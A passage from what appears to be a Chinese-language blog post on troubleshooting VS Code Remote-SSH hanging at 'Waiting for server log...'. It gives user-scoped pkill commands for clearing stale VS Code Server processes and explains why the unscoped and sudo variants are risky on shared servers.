<section><h2>处理方法<a href="#处理方法"><span>#</span></a></h2><p>在服务器端执行：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>pkill -u "$USER" -f 'vscode-server' 2&gt;/dev/null</span></div></div><div><div><div>2</div></div><div><span>pkill -u "$USER" -f '\.vscode-server' 2&gt;/dev/null</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>随后重新发起 VS Code Remote-SSH 连接，连接恢复正常。</p><p>其中：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>-u "$USER"</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>用于限制操作范围，仅终止当前用户所属的 VS Code Server 相关进程，避免影响同一服务器上的其他用户。</p><p>不建议直接执行：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>pkill -f vscode-server</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>在多人共享环境中，该命令可能匹配其他用户的 VS Code 相关进程，并产生：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>Operation not permitted</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>更不建议使用：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo pkill -f vscode-server</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>否则可能导致其他用户的 Remote-SSH 会话被一并终止。</p></section>
<section><h2>根因分析<a href="#根因分析"><span>#</span></a></h2><p>根据排查结果，本次问题并非由 Tailscale 设备名称变更直接导致。</p><p>更可能的情况是，在连接中断或重新建立过程中，远端 VS Code Server、Agent Host 或相关 IPC 状态未能正常清理，导致新的 Remote-SSH 会话无法正确完成远端服务初始化。</p><p>其典型表现为：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>SSH 可正常登录</span></div></div><div><div><div>2</div></div><div><span>VS Code Server 可启动</span></div></div><div><div><div>3</div></div><div><span>Remote-SSH 持续停留在 Waiting for server log...</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>终止当前用户的 VS Code Server 相关进程后，VS Code Remote-SSH 会重新建立远端运行环境，从而恢复正常。</p></section>
<section><h2>结论<a href="#结论"><span>#</span></a></h2><p>当 VS Code Remote-SSH 出现：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>Waiting for server log...</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>而普通 SSH 连接正常时，应优先检查远端 VS Code Server 进程及运行状态，而不是继续排查网络、SSH 密钥或防火墙。</p><p>可优先尝试：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>pkill -u "$USER" -f 'vscode-server'</span></div></div><div><div><div>2</div></div><div><span>pkill -u "$USER" -f '\.vscode-server'</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>本次故障的核心结论是：</p><blockquote><p>Tailscale 与 SSH 链路均正常，故障由远端 VS Code Server 相关进程或会话状态异常引起。清理当前用户的 VS Code Server 进程后，Remote-SSH 连接恢复正常。</p></blockquote></section>]]></content>
    </entry>
</feed>
